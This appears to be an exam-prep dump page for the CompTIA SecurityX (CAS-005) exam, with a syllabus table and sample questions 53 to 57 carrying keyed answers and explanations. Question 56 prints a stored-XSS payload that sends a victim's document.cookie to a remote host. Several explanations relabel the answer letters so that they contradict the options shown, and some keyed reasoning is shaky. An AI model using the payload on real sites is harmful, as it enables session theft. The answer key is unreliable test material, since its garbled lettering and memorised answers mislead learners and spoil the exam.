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CompTIA CAS-005 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none">Governance, Risk, and Compliance: This section of the exam measures the skills of CompTIA security architects that cover the implementation of governance components based on organizational security requirements, including developing policies, procedures, and standards. Candidates will learn about managing security programs, including awareness training on phishing and social engineering.
Topic 2	<ul style="list-style-type: none">Security Operations: This domain is designed for CompTIA security architects and covers analyzing data to support monitoring and response activities, as well as assessing vulnerabilities and recommending solutions to reduce attack surfaces. Candidates will apply threat-hunting techniques and utilize threat intelligence concepts to enhance operational security.
Topic 3	<ul style="list-style-type: none">Security Architecture: This domain focuses on analyzing requirements to design resilient systems, including the configuration of firewalls and intrusion detection systems.

Topic 4	<ul style="list-style-type: none"> • Security Engineering: This section measures the skills of CompTIA security architects that involve troubleshooting common issues related to identity and access management (IAM) components within an enterprise environment. Candidates will analyze requirements to enhance endpoint and server security while implementing hardware security technologies. This domain also emphasizes the importance of advanced cryptographic concepts in securing systems.
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CompTIA SecurityX Certification Exam Sample Questions (Q53-Q58):

NEW QUESTION # 53

A global organization wants to manage all endpoint and user telemetry. The organization also needs to differentiate this data based on which office it is correlated to. Which of the following strategies best aligns with this goal?

- A. Continuous monitoring
- B. Sensor placement
- **C. Data labeling**
- D. Centralized logging

Answer: C

Explanation:

Comprehensive and Detailed Explanation:

Managing telemetry and differentiating it by office requires a way to categorize data. Let's evaluate:

- * A. Sensor placement: Useful for data collection but doesn't inherently differentiate by office.
- * B. Data labeling: Assigns metadata (e.g., office location) to telemetry, enabling differentiation. This aligns with CAS-005's focus on data management for security operations.
- * C. Continuous monitoring: Ensures ongoing data collection but doesn't address differentiation.

Reference: CompTIA SecurityX (CAS-005) objectives, Domain 2: Security Operations, emphasizing telemetry management.

NEW QUESTION # 54

Which of the following best describes the challenges associated with widespread adoption of homomorphic encryption techniques?

- A. Incomplete mathematical primitives
- B. No use cases to drive adoption
- C. Quantum computers not yet capable
- **D. Insufficient coprocessor support**

Answer: D

Explanation:

Homomorphic encryption allows computations to be performed on encrypted data without decrypting it, preserving confidentiality. However, its adoption faces significant challenges due to performance overhead.

According to the CompTIA SecurityX CAS-005 study materials (Domain 3: Cybersecurity Technology, 3.3), homomorphic encryption requires substantial computational resources, which standard processors struggle to provide efficiently. Specialized hardware, such as coprocessors (e.g., GPUs or TPUs), is often needed to handle the complex mathematical operations involved. The lack of widespread, optimized coprocessor support in existing infrastructure is a primary barrier to adoption.

* Option A (Incomplete mathematical primitives): While early homomorphic encryption schemes had limitations, modern schemes

(e.g., CKKS, BFV) have mature mathematical foundations, making this less of a challenge today.

* Option B (No use cases): Use cases exist, such as secure cloud computing and privacy-preserving data analytics, so this is not accurate.

* Option C (Quantum computers): Homomorphic encryption is not dependent on quantum computing, and quantum computers are unrelated to its current challenges.

* Option D (Insufficient coprocessor support): This is the most accurate, as performance bottlenecks require specialized hardware that is not yet widely available or integrated.

Reference:

CompTIA SecurityX CAS-005 Official Study Guide, Domain 3: Cybersecurity Technology, Section 3.3:

"Evaluate emerging cryptographic technologies, including homomorphic encryption challenges." CAS-005 Exam Objectives, 3.3:

"Analyze barriers to adopting advanced encryption techniques."

NEW QUESTION # 55

A security analyst is reviewing suspicious log-in activity and sees the following data in the SICM:

Account	Application	Authorization server	Status	Risk
SALES1	Customer manager	LDAP-US	Success	Low
SALES1	Payroll	LDAP-US	Success	Low
ADMIN	Email	LDAP-US	Failure	High
SALES1	Email	LDAP-EU	Unknown	Unknown
MARKET1	Customer manager	LDAP-US	Success	Low
FINANCE1	Payroll	LDAP-EU	Unknown	Unknown

Which of the following is the most appropriate action for the analyst to take?

- A. Implement automation to disable accounts that have been associated with high-risk activity.
- B. Have the admin account owner change their password to avoid credential stuffing.
- C. Block employees from logging in to applications that are not part of their business area.
- D. Update the log configuration settings on the directory server that is not being captured properly.

Answer: A

Explanation:

The log-in activity indicates a security threat, particularly involving the ADMIN account with a high-risk failure status. This suggests that the account may be targeted by malicious activities such as credential stuffing or brute force attacks.

Updating log configuration settings (A) may help in better logging future activities but does not address the immediate threat.

Changing the admin account password (B) is a good practice but may not fully mitigate the ongoing threat if the account has already been compromised.

Blocking employees (C) from logging into non-business applications might help in reducing attack surfaces but doesn't directly address the compromised account issue.

Implementing automation to disable accounts associated with high-risk activities ensures an immediate response to the detected threat, preventing further unauthorized access and allowing time for thorough investigation and remediation.

Reference:

CompTIA SecurityX guide on incident response and account management.

Best practices for handling compromised accounts.

Automation tools and techniques for security operations centers (SOCs).

NEW QUESTION # 56

During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a comprised web server. Given the following portion of the code:

```
<script>document.location="https://10.10.10.2/?x=+document.cookie";.12..Ex..</script>..ash214621..41..2...8..
```

Which of the following best describes this incident?

- A. SQL injection
- B. Command injection
- C. XSRF attack
- D. Stored XSS

Answer: D

Explanation:

The provided code snippet shows a script that captures the user's cookies and sends them to a remote server.

This type of attack is characteristic of Cross-Site Scripting (XSS), specifically stored XSS, where the malicious script is stored on the target server (e.g., in a database) and executed in the context of users who visit the infected web page.

A: XSRF (Cross-Site Request Forgery) attack: This involves tricking the user into performing actions on a different site without their knowledge but does not involve stealing cookies via script injection.

B: Command injection: This involves executing arbitrary commands on the host operating system, which is not relevant to the given JavaScript code.

C: Stored XSS: The provided code snippet matches the pattern of a stored XSS attack, where the script is injected into a web page, and when users visit the page, the script executes and sends the user's cookies to the attacker's server.

D: SQL injection: This involves injecting malicious SQL queries into the database and is unrelated to the given JavaScript code.

References:

CompTIA Security+ Study Guide

OWASP (Open Web Application Security Project) guidelines on XSS

"The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto

NEW QUESTION # 57

A software company deployed a new application based on its internal code repository. Several customers are reporting anti-malware alerts on workstations used to test the application. Which of the following is the most likely cause of the alerts?

- A. Invalid code signing certificate
- B. Misconfigured code commit
- C. Data leakage
- D. **Unsecure bundled libraries**

Answer: D

Explanation:

The most likely cause of the anti-malware alerts on customer workstations is unsecure bundled libraries.

When developing and deploying new applications, it is common for developers to use third-party libraries. If these libraries are not properly vetted for security, they can introduce vulnerabilities or malicious code.

Why Unsecure Bundled Libraries?

* Third-Party Risks: Using libraries that are not secure can lead to malware infections if the libraries contain malicious code or vulnerabilities.

* Code Dependencies: Libraries may have dependencies that are not secure, leading to potential security risks.

* Common Issue: This is a frequent issue in software development where libraries are used for convenience but not properly vetted for security.

Other options, while relevant, are less likely to cause widespread anti-malware alerts:

* A. Misconfigured code commit: Could lead to issues but less likely to trigger anti-malware alerts.

* C. Invalid code signing certificate: Would lead to trust issues but not typically anti-malware alerts.

* D. Data leakage: Relevant for privacy concerns but not directly related to anti-malware alerts.

References:

* CompTIA Security+ Study Guide

* "Securing Open Source Libraries," OWASP

* "Managing Third-Party Software Security Risks," Gartner Research

NEW QUESTION # 58

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